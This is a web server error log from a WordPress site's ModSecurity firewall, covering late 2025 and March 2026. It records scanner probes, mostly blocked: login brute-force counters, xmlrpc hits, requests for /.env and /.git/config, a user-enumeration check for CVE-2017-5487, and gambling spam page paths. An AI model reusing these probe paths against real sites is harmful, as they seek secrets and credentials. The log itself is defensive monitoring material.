[Thu Nov 27 08:46:18.216631 2025] [:error] [pid 19119:tid 19197] [client 185.223.152.130:49381] [client 185.223.152.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.130, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSefWhsL_RTusriYkwd7lgAAANc"]
[Thu Nov 27 08:48:29.732229 2025] [:error] [pid 19119:tid 19194] [client 185.223.152.136:53181] [client 185.223.152.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.136, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSef3RsL_RTusriYkwd8qAAAANQ"]
[Thu Nov 27 08:57:47.252370 2025] [:error] [pid 19014:tid 19044] [client 185.223.152.254:33391] [client 185.223.152.254] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.254, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSeiC42utvwZ4eADRmr9vwAAAEA"]
[Thu Nov 27 09:07:19.589061 2025] [:error] [pid 19014:tid 19054] [client 185.223.152.138:47533] [client 185.223.152.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.138, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSekR42utvwZ4eADRmoAeQAAAEo"]
[Thu Nov 27 09:11:17.887192 2025] [:error] [pid 19119:tid 19184] [client 217.15.163.102:39350] [client 217.15.163.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.15.163.102, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSelNRsL_RTusriYkweIvAAAAMo"]
[Thu Nov 27 09:11:37.902314 2025] [:error] [pid 19119:tid 19181] [client 167.172.158.128:57000] [client 167.172.158.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/actuator/env"] [unique_id "aSelSRsL_RTusriYkweI7AAAAMc"]
[Thu Nov 27 09:11:38.520613 2025] [:error] [pid 19014:tid 19049] [client 167.172.158.128:57010] [client 167.172.158.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aSelSo2utvwZ4eADRmoCOQAAAEU"]
[Thu Nov 27 09:11:39.140283 2025] [:error] [pid 39563:tid 39578] [client 167.172.158.128:57012] [client 167.172.158.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/server"] [unique_id "aSelSzNSKUd-PJ2wU0QpAgAAAQ0"]
[Thu Nov 27 09:11:39.767240 2025] [:error] [pid 40009:tid 40068] [client 167.172.158.128:57028] [client 167.172.158.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/.vscode/sftp.json"] [unique_id "aSelS0JuxjShta_KR6UHPQAAAUY"]
[Thu Nov 27 09:11:40.394600 2025] [:error] [pid 19119:tid 19196] [client 167.172.158.128:57038] [client 167.172.158.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/about"] [unique_id "aSelTBsL_RTusriYkweI9QAAANY"]
[Thu Nov 27 09:11:41.021288 2025] [:error] [pid 19119:tid 19190] [client 167.172.158.128:57046] [client 167.172.158.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/debug/default/view"] [unique_id "aSelTRsL_RTusriYkweI9wAAANA"]
[Thu Nov 27 09:11:41.696482 2025] [:error] [pid 40009:tid 40083] [client 167.172.158.128:59108] [client 167.172.158.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/v2/_catalog"] [unique_id "aSelTUJuxjShta_KR6UHPgAAAVM"]
[Thu Nov 27 09:11:42.388927 2025] [:error] [pid 19015:tid 19085] [client 167.172.158.128:59110] [client 167.172.158.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aSelTg4MxyJWPPh2qEjI_AAAAI4"]
[Thu Nov 27 09:11:43.008167 2025] [:error] [pid 19013:tid 19041] [client 167.172.158.128:59118] [client 167.172.158.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/server-status"] [unique_id "aSelT4aBrX8b6-N6_86dowAAABg"]
[Thu Nov 27 09:11:43.634729 2025] [:error] [pid 19013:tid 19031] [client 167.172.158.128:59126] [client 167.172.158.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/login.action"] [unique_id "aSelT4aBrX8b6-N6_86dpAAAAA4"]
[Thu Nov 27 09:11:44.261891 2025] [:error] [pid 40009:tid 40062] [client 167.172.158.128:59132] [client 167.172.158.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/_all_dbs"] [unique_id "aSelUEJuxjShta_KR6UHQAAAAUA"]
[Thu Nov 27 09:11:44.891054 2025] [:error] [pid 19013:tid 19036] [client 167.172.158.128:59134] [client 167.172.158.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/.DS_Store"] [unique_id "aSelUIaBrX8b6-N6_86dpgAAABM"]
[Thu Nov 27 09:11:45.509758 2025] [:error] [pid 19015:tid 19074] [client 167.172.158.128:59144] [client 167.172.158.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env"] [unique_id "aSelUQ4MxyJWPPh2qEjI_wAAAIM"]
[Thu Nov 27 09:11:46.128883 2025] [:error] [pid 39563:tid 39587] [client 167.172.158.128:59160] [client 167.172.158.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aSelUjNSKUd-PJ2wU0QpCAAAARY"]
[Thu Nov 27 09:11:46.755334 2025] [:error] [pid 39563:tid 39567] [client 167.172.158.128:59176] [client 167.172.158.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aSelUjNSKUd-PJ2wU0QpCQAAAQI"]
[Thu Nov 27 09:11:47.382698 2025] [:error] [pid 19014:tid 19062] [client 167.172.158.128:59188] [client 167.172.158.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/config.json"] [unique_id "aSelU42utvwZ4eADRmoCPwAAAFI"]
[Thu Nov 27 09:11:48.000307 2025] [:error] [pid 19013:tid 19026] [client 167.172.158.128:59196] [client 167.172.158.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/telescope/requests"] [unique_id "aSelU4aBrX8b6-N6_86dqwAAAAk"]
[Thu Nov 27 09:11:48.619845 2025] [:error] [pid 19119:tid 19188] [client 167.172.158.128:59204] [client 167.172.158.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/info.php"] [unique_id "aSelVBsL_RTusriYkweJAQAAAM4"]
[Thu Nov 27 09:11:49.239834 2025] [:error] [pid 19119:tid 19174] [client 167.172.158.128:59214] [client 167.172.158.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aSelVRsL_RTusriYkweJBAAAAMA"]
[Thu Nov 27 09:12:41.862359 2025] [:error] [pid 19119:tid 19181] [client 185.223.152.132:58831] [client 185.223.152.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.132, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSeliRsL_RTusriYkweJvgAAAMc"]
[Thu Nov 27 09:17:27.866711 2025] [:error] [pid 19015:tid 19085] [client 185.223.152.137:37291] [client 185.223.152.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.137, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSempw4MxyJWPPh2qEjLEgAAAI4"]
[Thu Nov 27 09:23:36.614916 2025] [:error] [pid 19119:tid 19194] [client 185.223.152.141:41439] [client 185.223.152.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.141, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSeoGBsL_RTusriYkweQYwAAANQ"]
[Thu Nov 27 09:27:30.023841 2025] [:error] [pid 39563:tid 39567] [client 185.223.152.135:46519] [client 185.223.152.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.135, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSepAjNSKUd-PJ2wU0Qu9QAAAQI"]
[Thu Nov 27 09:35:06.721707 2025] [:error] [pid 40009:tid 40082] [client 185.223.152.139:55665] [client 185.223.152.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.139, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSeqykJuxjShta_KR6URXQAAAVI"]
[Thu Nov 27 09:37:55.359482 2025] [:error] [pid 19014:tid 19045] [client 185.223.152.122:51455] [client 185.223.152.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.122, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSerc42utvwZ4eADRmoLvgAAAEE"]
[Thu Nov 27 09:47:36.779925 2025] [:error] [pid 19013:tid 19031] [client 185.223.152.123:23723] [client 185.223.152.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.123, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSetuIaBrX8b6-N6_86poAAAAA4"]
[Tue Mar 10 18:16:59.286758 2026] [autoindex:error] [pid 14627:tid 14643] [client 139.59.32.166:47040] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Mar 10 18:45:42.063227 2026] [autoindex:error] [pid 14627:tid 14660] [client 139.59.32.166:45384] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Mar 10 21:09:26.937776 2026] [:error] [pid 3873:tid 3912] [client 188.164.199.55:33650] [client 188.164.199.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abAYBi_mXXwyT3XINroh3QAAAEA"]
[Tue Mar 10 22:39:02.730997 2026] [:error] [pid 3872:tid 3899] [client 103.178.144.8:53956] [client 103.178.144.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abAtBtseKmNoS38Y-zvb8QAAABc"]
[Tue Mar 10 22:44:08.885040 2026] [:error] [pid 3872:tid 3880] [client 103.178.144.8:58242] [client 103.178.144.8] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abAuONseKmNoS38Y-zvc2QAAAAQ"]
[Tue Mar 10 22:44:49.217958 2026] [:error] [pid 3873:tid 3915] [client 103.178.144.8:58752] [client 103.178.144.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abAuYS_mXXwyT3XINro5fAAAAEM"]
[Tue Mar 10 23:02:46.245417 2026] [:error] [pid 3965:tid 3988] [client 39.32.10.96:45782] [client 39.32.10.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abAylpN2nrVwtq9b0rbmagAAANU"]
[Tue Mar 10 23:17:36.742153 2026] [:error] [pid 3965:tid 3987] [client 39.32.10.96:58744] [client 39.32.10.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abA2EJN2nrVwtq9b0rbwFAAAANQ"]
[Tue Mar 10 23:19:13.391788 2026] [:error] [pid 3873:tid 3933] [client 39.32.10.96:60410] [client 39.32.10.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abA2cS_mXXwyT3XINrpCRwAAAFU"]
[Wed Mar 11 01:15:01.770153 2026] [:error] [pid 6892:tid 7082] [client 180.93.232.184:42446] [client 180.93.232.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "abBRlRRWb70O8HM28tGl5QAAAAM"]
2026/03/11 01:58:34 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /auto%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/auto%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:58:34.117505 2026] [:error] [pid 6894:tid 7184] [client 79.137.65.139:49896] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/auto%20slot.aspx"] [unique_id "abBbyp4b1T0HQdoE97LwbwAAAII"]
2026/03/11 01:58:35 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /betflik%20casino.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20casino.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:58:35.714563 2026] [:error] [pid 6892:tid 7084] [client 79.137.65.139:49920] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/betflik%20casino.aspx"] [unique_id "abBbyxRWb70O8HM28tGtOgAAAAU"]
2026/03/11 01:58:37 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /betflik%20co.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20co.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:58:37.312040 2026] [:error] [pid 6894:tid 7207] [client 79.137.65.139:49948] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/betflik%20co.aspx"] [unique_id "abBbzZ4b1T0HQdoE97LwdgAAAJc"]
2026/03/11 01:58:38 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /betflik%20dc.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20dc.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:58:38.900642 2026] [:error] [pid 7307:tid 7311] [client 79.137.65.139:49970] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/betflik%20dc.aspx"] [unique_id "abBbzutE6Vj1tEJkynHiZQAAAMI"]
[Wed Mar 11 01:58:40.526620 2026] [:error] [pid 7307:tid 7332] [client 79.137.65.139:49994] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/betflik%20original.aspx"] [unique_id "abBb0OtE6Vj1tEJkynHicAAAANc"]
2026/03/11 01:58:40 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /betflik%20original.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20original.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:58:42.124664 2026] [:error] [pid 7307:tid 7329] [client 79.137.65.139:50018] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/betflik%20slot.aspx"] [unique_id "abBb0utE6Vj1tEJkynHieQAAANQ"]
2026/03/11 01:58:42 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /betflik%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:58:43.865607 2026] [:error] [pid 7307:tid 7310] [client 79.137.65.139:50046] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/betflik%20thailand.aspx"] [unique_id "abBb0-tE6Vj1tEJkynHigAAAAME"]
2026/03/11 01:58:43 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /betflik%20thailand.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20thailand.aspx", host: "rcacivilgroup.com"
2026/03/11 01:58:45 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /betflix%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20auto.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:58:45.445823 2026] [:error] [pid 6894:tid 7182] [client 79.137.65.139:50076] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/betflix%20auto.aspx"] [unique_id "abBb1Z4b1T0HQdoE97LwegAAAIA"]
2026/03/11 01:58:47 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /betflix%20casino.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20casino.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 01:58:47.050323 2026] [:error] [pid 6894:tid 7183] [client 79.137.65.139:50100] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/betflix%20casino.aspx"] [unique_id "abBb154b1T0HQdoE97LwewAAAIE"]
[Wed Mar 11 01:58:48.644550 2026] [:error] [pid 7307:tid 7323] [client 79.137.65.139:50128] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/betflix%20co.aspx"] [unique_id "abBb2OtE6Vj1tEJkynHilQAAAM4"]
2026/03/11 01:58:48 [error] 6420#6420: *347556 upstream prematurely closed connection while reading response header from upstream, client: 79.137.65.139, server: rcacivilgroup.com, request: "GET /betflix%20co.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20co.aspx", host: "rcacivilgroup.com"
